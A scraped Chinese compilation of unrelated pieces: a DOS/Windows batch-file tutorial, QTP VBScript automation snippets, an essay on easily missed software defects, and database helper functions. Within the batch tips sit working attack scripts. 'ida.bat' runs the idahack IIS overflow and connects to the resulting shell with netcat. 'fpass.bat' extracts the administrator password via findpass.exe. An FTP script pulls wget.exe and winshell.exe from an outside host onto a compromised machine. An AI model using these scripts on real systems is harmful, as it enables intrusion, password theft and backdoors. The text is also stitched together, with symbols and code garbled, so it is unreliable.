在提示符中隐藏选项列表。提示前面的消息得到显示,选项依旧处于启用状态。 /CS         允许选择分大小写的选项。在默认情况下,这个工具是不分大小写的。 /T  timeout    做出默认选择之前,暂停的秒数。可接受的值是从 0 到 9999。如果指定了 0,就不会有暂停,默认选项           会得到选择。 /D  choice    在 nnnn 秒之后指定默认选项。字符必须在用 /C 选项指定的一组选择中; 同时,必须用 /T 指定 nnnn。 /M  text     指定提示之前要显示的消息。如果没有指定,工具只显示提示。 /?         显示帮助消息。 注意: ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0 的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降序排列。示例: CHOICE /?  CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。" CHOICE /T 10 /C ync /CS /D y CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。" CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。" 如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"屏幕上会显示:确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?  例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列): @echo off choice /C dme /M "defrag,mem,end"if errorlevel 3 goto endif errorlevel 2 goto mem if errotlevel 1 goto defrag :defrag c:\dos\defrag goto end :mem mem goto end :end echo good bye 此批处理运行后,将显示“defrag,mem,end[D,M,E]?” ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,批处理运行结束。 四、for 循环命令,只要条件符合,它将多次执行同一命令。 语法:对一组文件中的每一个文件执行某个特定命令。FOR %%variable IN (set) DO command [command-parameters]%%variable    指定一个单一字母可替换的参数。(set)      指定一个或一组文件。可以使用通配符。command     指定对每个文件执行的命令。command-parameters 为特定命令指定参数或命令行开关。例如一个批处理文件中有一行: for %%c in (*.bat *.txt) do type %%c 则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。批处理示例1. IF-EXIST1)首先用记事本在C:\建立一个test1.bat批处理文件,文件内容如下: @echo off IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist 然后运行它:C:\&TEST1.BAT 如果C:\存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。2)接着再建立一个test2.bat文件,内容如下: @ECHO OFF IF EXIST \%1 TYPE \%1 IF NOT EXIST \%1 ECHO \%1 does not exist 执行: C:\&TEST2 AUTOEXEC.BAT 该命令运行结果同上。说明: (1) IF EXIST 是用来测试文件是否存在的,格式为 IF EXIST [路径+文件名] 命令 (2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。 3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下: @echo offIF "%1" == "A" ECHO XIAO IF "%2" == "B" ECHO TIAN IF "%3" == "C" ECHO XIN 如果运行:C:\&TEST3 A B C 屏幕上会显示:XIAOTIANXIN如果运行:C:\&TEST3 A B 屏幕上会显示XIAOTIAN 在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。 2、IF-ERRORLEVEL建立TEST4.BAT,内容如下:@ECHO OFF XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败 IF ERRORLEVEL 0 ECHO 成功拷贝文件 然后执行文件:C:\&TEST4如果文件拷贝成功,屏幕就会显示“成功拷贝文件”,否则就会显示“文件拷贝失败”。 IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的:@ECHO OFF XCOPY C:\AUTOEXEC.BAT D:\ IF ERRORLEVEL 0 ECHO 成功拷贝文件 IF ERRORLEVEL 1 ECHO 未找到拷贝文件 IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作 IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作 IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误 无论拷贝是否成功,后面的: 未找到拷贝文件 用户通过ctrl-c中止拷贝操作 预置错误阻止文件拷贝操作 拷贝过程中写盘错误都将显示出来。 以下就是几个常用命令的返回值及其代表的意义: backup 0 备份成功 1 未找到备份文件 2 文件共享冲突阻止备份完成 3 用户用ctrl-c中止备份 4 由于致命的错误使备份操作中止 diskcomp 0 盘比较相同 1 盘比较不同 2 用户通过ctrl-c中止比较操作 3 由于致命的错误使比较操作中止 4 预置错误中止比较 diskcopy 0 盘拷贝操作成功 1 非致命盘读/写错 2 用户通过ctrl-c结束拷贝操作 3 因致命的处理错误使盘拷贝中止 4 预置错误阻止拷贝操作 format 0 格式化成功 3 用户通过ctrl-c中止格式化处理 4 因致命的处理错误使格式化中止 5 在提示“proceed with format(y/n)?”下用户键入n结束 xcopy 0 成功拷贝文件 1 未找到拷贝文件 2 用户通过ctrl-c中止拷贝操作 4 预置错误阻止文件拷贝操作 5 拷贝过程中写盘错误 3、IF STRING1 == STRING2建立TEST5.BAT,文件内容如下: @echo off IF "%1" == "A" formAT A: 执行: C:\&TEST5 A 屏幕上就出现是否将A:盘格式化的内容。 注意:为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用保留符号)括起来。如:if [%1]==[A] 或者 if %1*==A*5、GOTO建立TEST6.BAT,文件内容如下: @ECHO OFF IF EXIST C:\AUTOEXEC.BAT GOTO _COPY GOTO _DONE:_COPY COPY C:\AUTOEXEC.BAT D:\ :_DONE 注意: (1) 标号前是ASCII字符的冒号":",冒号与标号之间不能有空格。 (2) 标号的命名规则与文件名的命名规则相同。(3) DOS支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。6、FOR建立C:\TEST7.BAT,文件内容如下: @ECHO OFF FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C 运行: C:&TEST7执行以后,屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来(不包括隐藏文件)。 win2000命令行方式批处理BAT文件技巧  文章结构 1. 所有内置命令的帮助信息 2. 环境变量的概念 3. 内置的特殊符号(实际使用中间注意避开) 4. 简单批处理文件概念 5. 附件1 tmp.txt 6. 附件2 sample.bat ###########################1. 所有内置命令的帮助信息 ###########################ver cmd /? set /? rem /? if /? echo /? goto /? for /? shift /? call /? 其他需要的常用命令 type /? find /? findstr /? copy /? 下面将所有上面的帮助输出到一个文件 echo ver &tmp.txt ver &&tmp.txt echo cmd /? &&tmp.txt cmd /? &&tmp.txt echo rem /? &&tmp.txt rem /? &&tmp.txt echo if /? &&tmp.txt if /? &&tmp.txt echo goto /? &&tmp.txt goto /? &&tmp.txt echo for /? &&tmp.txt for /? &&tmp.txt echo shift /? &&tmp.txt shift /? &&tmp.txt echo call /? &&tmp.txt call /? &&tmp.txt echo type /? &&tmp.txt type /? &&tmp.txt echo find /? &&tmp.txt find /? &&tmp.txt echo findstr /? &&tmp.txt findstr /? &&tmp.txt echo copy /? &&tmp.txt copy /? &&tmp.txt type tmp.txt #############################2. 环境变量的概念 #############################C:\Program Files&set ALLUSERSPROFILE=C:\Documents and Settings\All Users CommonProgramFiles=C:\Program Files\Common Files COMPUTERNAME=FIRST ComSpec=C:\WINNT\system32\cmd.exe NUMBER_OF_PROCESSORS=1 OS=Windows_NT Os2LibPath=C:\WINNT\system32\os2\ Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH PROCESSOR_ARCHITECTURE=x86 PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=0605 ProgramFiles=C:\Program Files PROMPT=$P$G SystemDrive=C: SystemRoot=C:\WINNT TEMP=C:\WINNT\TEMP TMP=C:\WINNT\TEMP USERPROFILE=C:\Documents and Settings\Default User windir=C:\WINNT path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到 %windir%\system32\. 这个目录里面. 一般就可以自动搜索到. 语法: copy mychenxu.exe %windir%\system32\. 使用点(.) 便于一目了然 对环境变量的引用使用(英文模式,半角)双引号 %windir% 变量 %%windir%% 二次变量引用. 我们常用的还有 %temp% 临时文件目录 %windir% 系统目录 %errorlevel% 退出代码 输出文件到临时文件目录里面.这样便于当前目录整洁. 对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作 C:\&dir p* C:\ 的目录
11:47 2,164 PDOS.DEF
00:47 &DIR& Program Files 1 个文件 2,164 字节 1 个目录 1,505,997,824 可用字节 C:\&cd pro* C:\Program Files& C:\& C:\&cd "Program Files" C:\Program Files& ############################################3. 内置的特殊符号(实际使用中间注意避开) ############################################微软里面内置了下列字符不能够在创建的文件名中间使用 con nul aux \ / | || && ^ & & * You can use most characters as variable values, including white space. If you use the special characters &, &, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples: (大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了) To create the variable value new&name, type: set varname=new^&name To create the variable value "new&name", type: set varname="new&name" The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments. find "Pacific Rim" & trade.txt & nwtrade.txt IF EXIST filename. (del filename.) ELSE echo filename. missing & 创建一个文件 && 追加到一个文件后面 @ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示 ^ 对特殊符号( & & &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb echo 123456 ^& aaa echo 1231231 & bbb () 包含命令 (echo aa & echo bb) , 和空格一样的缺省分隔符号. ; 注释,表示后面为注释 : 标号作用 | 管道操作 & Usage:第一条命令 & 第二条命令 [& 第三条命令...] 用这种方法可以同时执行多条命令,而不管命令是否执行成功 dir c:\*.exe & dir d:\*.exe & dir e:\*.exe && Usage:第一条命令 && 第二条命令 [&& 第三条命令...] 当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令; || Usage:第一条命令 || 第二条命令 [|| 第三条命令...] 当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令; 常用语法格式 IF [NOT] ERRORLEVEL number command para1 para2 IF [NOT] string1==string2 command para1 para2 IF [NOT] EXIST filename command para1 para2 IF EXIST filename command para1 para2 IF NOT EXIST filename command para1 para2 IF "%1"=="" goto END IF "%1"=="net" goto NET IF NOT "%2"=="net" goto OTHER IF ERRORLEVEL 1 command para1 para2 IF NOT ERRORLEVEL 1 command para1 para2 FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k 按照字母顺序 ijklmnopq依次取参数. eol=c - 指一个行注释字符的结尾(就一个) skip=n - 指在文件开始时忽略的行数。 delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。 ########################4. 简单批处理文件概念 ########################echo This is test & a.txt type a.txt echo This is test 11111 && a.txt type a.txt echo This is test 22222 & a.txt type a.txt 第二个echo是追加 第三个echo将清空a.txt 重新创建 a.txt netstat -n | find "3389" 这个将要列出所有连接3389的用户的ip. ________________test.bat______@echo please care echo plese care 1111 echo plese care 2222 echo plese care 3333 @echo please care @echo plese care 1111 @echo plese care 2222 @echo plese care 3333 rem 不显示注释语句,本行显示 @rem 不显示注释语句,本行不显示 @if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe) @if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe) _____________________________下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的. ___________________ida.bat_____@rem ver 1.0 @if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe" @if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe" @if "%1" =="" goto USAGE @if NOT "%2" =="" goto SP2 :start @echo Now start ... @ping %1 @echo chinese win2k:1 sp1:2 sp2:3 idahack.exe %1 80 1 99 &%temp%\_tmp @echo "prog exit code [%errorlevel%] idahack.exe" @type %temp%\_tmp @find "good luck :)" %temp%\_tmp @echo "prog exit code [%errorlevel%] find [goog luck]" @if NOT errorlevel 1 nc.exe %1 99 @goto END :SP2 @idahack.exe %1 80 %2 99 %temp%\_tmp @type %temp%\_tmp @find "good luck :)" %temp%\_tmp @if NOT errorlevel 1 nc.exe %1 99 @goto END :USAGE @echo Example: ida.bat IP @echo Example: ida.bat IP (2,3) :END _____________________ida.bat__END_______下面我们再来第二个文件.就是得到administrator的口令. 大多数人说得不到.其实是自己的没有输入正确的信息. ___________________________fpass.bat____________________________________________ @rem ver 1.0 @if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe" @if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe" @echo start.... @echo ____________________________________ @if "%1"=="" goto USAGE @findpass.exe %1 %2 %3 && %temp%\_findpass.txt @echo "prog exit code [%errorlevel%] findpass.exe" @type %temp%\_findpass.txt @echo ________________________________Here__pass★★★★★★★★ @ipconfig /all &&%temp%\_findpass.txt @goto END :USAGE @pulist.exe &%temp%\_pass.txt @findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt @echo "Example: fpass.bat %1 %2 %3 %4 !!!" @echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon" :END @echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator " @echo " fpass.bat end [%errorlevel%] !" _________________fpass.bat___END___________________________________________________________ 还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win) 依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!! echo open 210.64.x.4 3396&w echo read&&w echo read&&w echo cd winnt&&w echo binary&&w echo pwd &&w echo get wget.exe &&w echo get winshell.exe &&w echo get any.exe &&w echo quit &&w ftp -s:w
Function ImportSheet(ExcelSheetName)&& Err.Clear&& Dim sheetCount&& sheetCount = DataTable.GetSheetCount&& For i = 1 to sheetCount&&& If strcomp(ExcelSheetName, DataTable.GetSheet(i).Name) = 0 Then&&&& ImportSheet = True&&&& Exit Function&&& End If&& Next&& DataTable.AddSheet ExcelSheetName&& DataTable.ImportSheet "RandallTest.xls", ExcelSheetName, ExcelSheetName&& If Err.Number&&0 Then&&& ImportSheet = False&&& Exit Function&& Else&&&&& ImportSheet = True&&& && End IfEnd Function
Function GetCellData(DTSheetName, FieldName, Row)&& Err.Clear&& Dim sheetCount&& Dim blnExist&& blnExist = False&& sheetCount = DataTable.GetSheetCount&& For i = 1 to sheetCount&&& If strcomp(DTSheetName, DataTable.GetSheet(i).Name) = 0 Then&&&& blnExist = True&&&& Reporter.ReportEvent micDone, "GetSheet: "+DTSheetName, "Passed"&&&& Exit For&&& End If&& Next&& && If Not blnExist Then&&& Reporter.ReportEvent micFail, "Sheet Exist: "+ DTSheetName, "Failed"&&& GetCellData = False&&& Exit Function&& End If&& DataTable.SetCurrentRow Row&& GetCellData = DataTable.Value(FieldName, DTSheetName)&& If Err.Number&&0 Then&&& Reporter.ReportEvent micFail, "GetSheetValue", "Failed"&&& Exit Function&& End IfEnd Function
&Excel.Application
Excel中几个常用对象:WorkBooks,WorkSheets,Cells.可以通过Name属性标识,也可通过index标识。
&Dim ExcelApp&Set ExcelApp = CreateObject("Excel.Application")&ExcelApp.WorkBooks.Open "F:\RandallTest.xls"&Dim myWorkBook&Set myWorkBook = ExcelApp.workbooks(1)&myWorkBook.WorkSheets("Sheet1").Activate&Dim myWorkSheet&Set myWorkSheet = myWorkBook.worksheets("Sheet1")&msgbox myWorkSheet.Cells(1,1).Value&myWorkSheet.Cells(1,1).Value = "temp"&myWorkBook.SaveAs "C:\RandallTest.xls"&Set ExcelApp = nothing
网络转载:
通常会暴露软件中的,经过修正后可以保证软件系统的功能满足需求并正确运行。但是,在系统测试和确认测试中,测试人员容易遗漏一些隐藏的缺陷。众所周知,不可能发现所有的缺陷,而软件开发周期各个阶段仍然存在注入缺陷的可能,但是,有一些缺陷是测试中容易忽略的,也就是说,通过测试方法和用例可以充分暴露这些缺陷,遗憾的是,它们往往被忽略或者某种原因忘记测试了,这就给软件留下了隐患或者危机。这些容易被忽略的缺陷包括:
  1、安装缺陷
  通常项目组完成代码后,发布时候安装打包是最后一个环节,而人员通常在测试的时候,没有仔细的测试这一部分,而把用例集中在功能上。安装时候的缺陷通常通过拷贝而不是运行安装程序方式给测试人员安装软件,结果正式安装时候出现问题,引起例如控件没有注册,注册表没有导入等。删除时候没有注意安装文件夹是否存在用户文件,造成数据丢失;使用绝对路径;安装顺序没有说明书。
  2、配置文件
  有些文件在ini等配置文件中写出了管理员口令密码等信息,而且是明文的!这是一个安全隐患。另外,有些安装文件的 XML 文件,为了方便在和中间层连接文件中写入了Admin 口令和密码。作为一个合格的软件测试人员,必须检查这些可以用记事本打开的文件。因为,一个稍有常识而且喜欢探索的用户,可能从中获取信息而成为不自觉的黑客。所以,配置文件可能成为软件安全方面的一个缺陷。
  3、网页安全缺陷
  现在网站开发已经注意到:登陆网站进入其内部网页后,直接拷贝网址,然后粘贴到另一IE 窗口输入,可以绕过登陆直接访问。也许商业网站很关注这个问题,但是很多行业软件却很容易忽略。
  网页安全缺陷还可能存在于 IE 弹出的子窗口。有些设计不严格的软件,在主页面关闭的时候子页面还可以运行,这是一个明显的漏洞,而且还大大增加了错误发生的几率。
  4、判断顺序/逻辑缺陷
  对界面进行多个输入判断的时候,非常容易出现这种问题。例如判断年月顺序,判断长度,判断非空等。假如操作员仅仅满足单个条件,保存不能成功;而按界面从上之下顺序一一满足条件之后,保存是没有问题的。但是,改变一下输入的次序,校验失效。例如,一一满足条件之后,不保存,倒过来将上面的输入改成非法输入,然后保存,结果居然也能成功,这是因为原先的判断由于发生过,或者根据语句顺序只检查最后一个判断,所以没有报错。这种错误尤其在 Java scrīpt 脚本的页面中要注意。能够保存不能保证数据正确,有可能引起系统崩溃或者后续数据错误。所以,在测试的时候,不要按照正常的顺序输入,而是要打乱步骤,看看代码是否强健,是否在判断逻辑上没有错误。良好的代码应该经得起折腾,至少保存时会再此全部进行判断,而不只是简简单单走到判断的最后一行。
  5、调试语句和冗余信息
  维护项目和升级改造的推广系统最容易潜伏这类缺陷。典型表现在没有删除或者屏蔽调试语句。弹出一个界面不友好的提示信息,会使不明真相的用户产生误以为系统发生了严重故障,从而引起对软件的不信任感。页面中某个角落存在当前客户不需要的冗余按钮和功能也是一种缺陷。多余的功能会使用户以为是额外附加部分而去使用,其结果可想而知;而多余的按钮会误导好奇心强的用户操作,产生不必要的错误。
  同样值得关注的还有参数设置,由于没有实际数据,开发人员在调试或者的时候,习惯性的进行自我设定而忘了删除,软件测试人员可能会忽略掉了这部分测试,也可能导致在客户现场发生错误而影响系统发布和验收。
  6、不可重现的故障
  新参加软件测试的人员或者新来的开发人员总是要问,不可重现的缺陷是否需要记录,有必要吗?回答是肯定的。测试必须如实的记录发生的问题,也许不能重现,或者使非软件系统本身问题,但是,可能这些偶然性背后是有规律的,不记录这些,就不可能发现这些规律。
  7、多节点的逆向流转缺陷
  当前软件不少喜欢使用流来驱动。工作流的问题,就是可能出现多个流向分支。测试容易忽略的部分,就是工作流多节点的逆向流转。例如,通过不通过涉及两个分支,但是流程逆转的时候,有可能不是回到上一节点而是平级的另一个节点去了。软件测试要格外注意这类用例的设计。另外,有些时候默认分支在向前的时候是有默认值的,例如默认通过,那么保存的时候要提示用户是否通过,否则可能由于操作疲劳而走错了节点,引起回退。
  8、输入框缺陷
  试过往输入框粘贴数据而不是直接输入吗?可能这里会出现问题。按 Ctrl+V 的时候,输入框会根据长度大小自动截断输入长度。但是用鼠标,截断可能会失效。有一次测试人员就是用这种方法把一篇 Word 文档输入进去了,保存的时候,数据库崩溃。有些网站登陆的口令****可以拷贝下来的,只要放在剪贴板里面马上明文显示。
  输入框可以说是问题最多的部分,能够引起的麻烦也很多。日期、数字、文本等等,都需要耐心的测试一下。
  9、界面布局缺陷
  曾经有一次,项目经理回来向测试部反映一个问题,客户对界面不满意。原因很简单,因为界面上删除按钮和保存按钮挨得很近。结果有些操作不熟练的业务人员,很容易误按。这个问题是测试人员没有意料到的,因此注意关闭、删除、退出按钮与保存、下一步等按钮的距离。类似的按钮应按此规则排列分布。
  界面布局还可能发生在窗口最大化和最小化上,有可能窗口缩小的时候没有下拉框或不匹配分辨率,对用户来讲,这个错误实在很低级。有些用户由于操作习惯,非常不喜欢腾出手使用鼠标,尤其是大量输入的界面,因此,要注意设置键盘的快捷方式。还有,按 Tab定位到下一焦点时要注意顺序,避免跳转太灵活而让操作人员感到无从适应,在界面进行维护或者修改的时候,不要忘了软件测试开发人员是否无意改变了这些快捷方式和跳转顺序。
  10、版本和补丁包的环境问题
  理论上讲,这属于兼容性测试应该覆盖的问题。有些客户很喜欢更新最新的软件版本或者时不时打些补丁包,问题就出现了。有时候升级不一定是好事。这些问题最好在测试的时候增加几个用例,多用不同软件版本的机器跑一跑。软件测试有个定律是:你没跑过的地方,就一定会出事。经常听到开发人员抱怨,怎么我的机器没问题,你的机器就有事了呢?这不能完全靠员解决问题,环境配置项是大家最容易忽略的。
  11、用户管理缺陷
  用户管理的角色和授权需要好好研究一下,作过测试的人员都知道,有时候为了测试的方便,测试用户都是具有超级权限的用户。而且,比较容易忽略用户管理这一部分的测试。往往发往客户的时候,很多测试用户都没有删除。
  另外,有些接口的用户和口令,到软件使用寿命结束都没有更改过。在一次测试中,人员发现,给一个用户授超级用户权限,之后更改这个用户为受限权限。使用中发现,用户居然没有真正回收权限,用户管理界面上没有任何不对。及早准备用户管理用例,不要等到测试快结束时候才想起。
  12、常识缺陷
  从逻辑或者统计学上讲,计算机是允许如此处理的,但是从常识上来讲,这些情况不可能发生。例如电话号码不可能出现小数点,终止时间不能大于开始时间等等。除此之外,常识还要结合业务特点来进行判断,因此,开发和测试人员要格外注意对自己知识的培养以及增加对需求细节的了解。不能因为一味追求进度而采用最简单的代码来实现,对用户来说,这些错误可能是很荒谬的。
  尽管我们不可能完美的测试一个软件,但是我们仍然可以改进我们的。每次测试结束,及时总结测试中的不足,进一步完善用例。思考一下那些容易忽略的软件缺陷,能提高对的认识,提高所在组织软件的质量。
Dim RepositoryFrom,TOCollectionSet RepositoryFrom = CreateObject("Mercury.ObjectRepositoryUtil")RepositoryFrom.Load "C:\Login.tsr"Set TOCollection = RepositoryFrom.GetAllObjectsByClass("WinButton")Msgbox TOCollection.Count
具体可参照help文档中关于ObjectRepositoryUtil的应用.
Dim ImageObj, PageObj, RepositoryFrom, RepositoryTo
Set RepositoryFrom = CreateObject("Mercury.ObjectRepositoryUtil")
Set RepositoryTo = CreateObject("Mercury.ObjectRepositoryUtil")
RepositoryFrom.Load "C:\QuickTest\Tests\Flights.tsr"
RepositoryTo.Load "E:\Temp\Tests\Default.tsr"
Function EnumerateAllChildProperties(Root)
&&&&Dim TOCollection, TestObject, PropertiesCollection, Property, Msg
&&&&Set TOCollection = RepositoryFrom.GetChildren(Root)
&&&&For i = 0 To TOCollection.Count - 1
&&&&&&&&&&&&Set TestObject = TOCollection.Item(i)
&&&&&&&&&&&&Msg = RepositoryFrom.GetLogicalName(TestObject) & vbNewLine
&&&&&&&&&&&&Set PropertiesCollection = TestObject.GetTOProperties()
&&&&&&&&&&&&For n = 0 To PropertiesCollection.Count - 1
&&&&&&&&&&&&&&&&Set Property = PropertiesCollection.Item(n)
&&&&&&&&&&&&&&&&Msg = Msg & Property.Name & "-" & Property.Value & vbNewLine
&&&&&&&&&&&&Next
&&&&&&&&&&&&MsgBox Msg
EnumerateAllChildProperties TestObject
End Function
Function EnumerateAllObjectsProperties(Root)
&Dim TOCollection, TestObject, PropertiesCollection, Property, Msg
&&&&Set TOCollection = RepositoryFrom.GetAllObjects(Root)
&&&&For i = 0 To TOCollection.Count - 1
&&&&&&&&Set TestObject = TOCollection.Item(i)
&&&&&&&&&&&&&&&&&&&&Msg = RepositoryFrom.GetLogicalName(TestObject) & vbNewLine
&&&&&&&&&&&&Set PropertiesCollection = TestObject.GetTOProperties()
&&&&&&&&&&&&For n = 0 To PropertiesCollection.Count - 1
&&&&&&&&&&&&&&&&Set Property = PropertiesCollection.Item(n)
&&&&&&&&&&&&&&&&Msg = Property.Name & "-" & Property.Value & vbNewLine
&&&&&&&&&&&&Next
&&&&&&&&MsgBox Msg
End Function
Function RenameAllImages(Root)
&Dim TOCollection, TestObject, PropertiesCollection, Property
&&&&Set TOCollection = RepositoryTo.GetAllObjectsByClass("Image")
&&&&For i = 0 To TOCollection.Count - 1
&&&&&&&&&&&&Set TestObject = TOCollection.Item(i)
&&&&&&&&&&&&RepositoryTo.RenameObject (TestObject, "Image " & i)
&&&&&&&&&&&&RepositoryTo.UpdateObject TestObject
End Function
Function RemoveAllLinks(Root)
&&&&Dim TOCollection, TestObject, PropertiesCollection, Property
&&&&Set TOCollection = RepositoryFrom.GetChildren(Root)
&&&&For i = 0 To TOCollection.Count - 1
&&&&&&&&&&&&Set TestObject = TOCollection.Item(i)
&&&&&&&&&&&&TOClass = TestObject.GetTOProperty("micclass")
&&&&&&&&&If TOClass = "Link" Then
&&&&&&&&&&&&&&&&RepositoryFrom.RemoveObject Root, TestObject
&&&&&&&&&&&&End If
&&&&&&&&EnumerateAllChildProperties TestObject
End Function
Call EnumerateAllChildProperties(Null)
Call EnumerateAllObjectsProperties(Null)
Call RenameAllImages(Null)
Call RemoveAllLinks(Null)
Set ImageObj = RepositoryFrom.GetObject("Browser("""").Page("""").Image(""Remains identified"")")
If (Not IsNull(ImageObj)) Then
&MsgBox RepositoryFrom.GetLogicalName(ImageObj)
&Else MsgBox "null"
Set PageObj = RepositoryTo.GetObjectByParent("Browser("""")", "Page("""")")
If (Not IsNull(PageObj)) Then
&MsgBox RepositoryTo.GetLogicalName(PageObj)
&Else MsgBox "null"
RepositoryTo.AddObject ImageObj, PageObj
RepositoryFrom.Save
RepositoryTo.Save
1. Verification Test & Validation Test:
Verification是验证,是通过提供客观证据证明规定的要求是否得到满足,也就是说,输入与输出比较.Validation是确认,是在验证好的基础上,对预期的使用和应用要求是否得到满足,也就是说,在确认时,应考虑使用和应用的条件范围要远远大于输入时确定的范围.一般是由客户或代表客户的人执行.
2. 测试策略是基于风险的:
测试策略指尽最大可能利用有限资源与时间,侧重系统的主要功能或系统的薄弱地方进行测试。
风险是指错误发生时产生的破坏的机会或危险。
将用户的期望转换为测试的目标, 在测试的效果和风险的覆盖之间寻找最优平衡。
VBS写的常用数据库公用函数摘自
以下是我写的常用的数据库公用函数,希望大家能一起探讨和总结,把一些常用的数据库公用函数分享出来。这个是初稿,以后使用中我会继续完善特别是在做报表自动化测试时,数据库的公用函数使用尤其频繁,包括对存储过程的操作' DATABASE公用函数''###########################################################################################################'###########################################################################################################Dim objConnection&&& & & & & & & & & & & & 'CONNECTION对象实例Dim objRecordSet& & & && & & & & & & & & & & & & & 'RECORDSET对象实例& & & & Dim objCommand& & & & & & & & & & & & & & & & '命令对象实例Dim strConnectionString& & & & & & & & & & & & '连接字符串' ********************************************************************' 函数说明:连接数据库;' 参数说明:(1)strDBType(数据库类型:如ORACEL;DB2;SQL;ACCESS)'& && && &&&(2)strDBAlias(数据库别名)'& && && &&&(3)strUID(用户名)'& && && &&&(4)strPWD(密码)'& && && &&&(5)strIP(数据库IP地址:仅SQL SERVER 使用)'& && && &&&(6)strLocalHostName(本地主机名:仅SQL SERVER 使用)'& && && &&&(7)strDataSource(数据源:仅ACCESS使用;如d:\yysc.mdb)' 返回结果:无' 调用方法: ConnectDatabase(strDBType, strDBAlias, strUID, strPWD, strIP, strLocalHostName, strDataSource)' ********************************************************************Sub ConnectDatabase(strDBType, strDBAlias, strUID, strPWD, strIP, strLocalHostName, strDataSource)& & Set ōbjConnection = CreateObject("ADODB.CONNECTION")& & & & & & & & '1 - 建立CONNECTION对象的实例& & & & Select Case UCase(Trim(strDBType))& && &&&Case "ORACLE"& && && && &strConnectionString = "Driver={Microsoft ODBC for Oracle};Server=" & strDBAlias & ";Uid="_& && && && && & & strUID & ";Pwd=" & strPWD & ";"& & & & & & & & & & & & & & & & '2 - 建立连接字符串& && && && &objConnection.Open strConnectionString& & & & & & & & & & & & & & & & '3 - 用Open 方法建立与数据库连接& && &&&Case "DB2"& && && && &strConnectionString = "Driver={IBM DB2 ODBC DRIVER};DBALIAS=" & strDBAlias & ";Uid="_& && && && && & & strUID & ";Pwd=" & strPWD & ";"& & & & & & & & & & & & & & & & & && && && &objConnection.Open strConnectionString& & & & & & & & & & & & & & & & & && &&&Case "SQL"& && && && & strConnectionString = "DRIVER=SQL S SERVER=" & strIP & "; UID=" & strUID & "; PWD="_& && && && && &&&& strPWD & "; APP=Microsoft Office 2003;WSID=" & strLocalHostName & "; DATABASE=" & strDBAlias & ";"& && && && &objConnection.Open strConnectionString& & & & & & & & & & & & & & & && && && && & & && &&&Case "ACCESS"& && && && &strConnectionString = "provider=microsoft.jet.oledb.4.0;data source=" & strDataSource &_& && && && && & ";Jet OLEDB:Database Password=" & strPWD & ";"& && && && &objConnection.Open strConnectionString& & & & & & & & 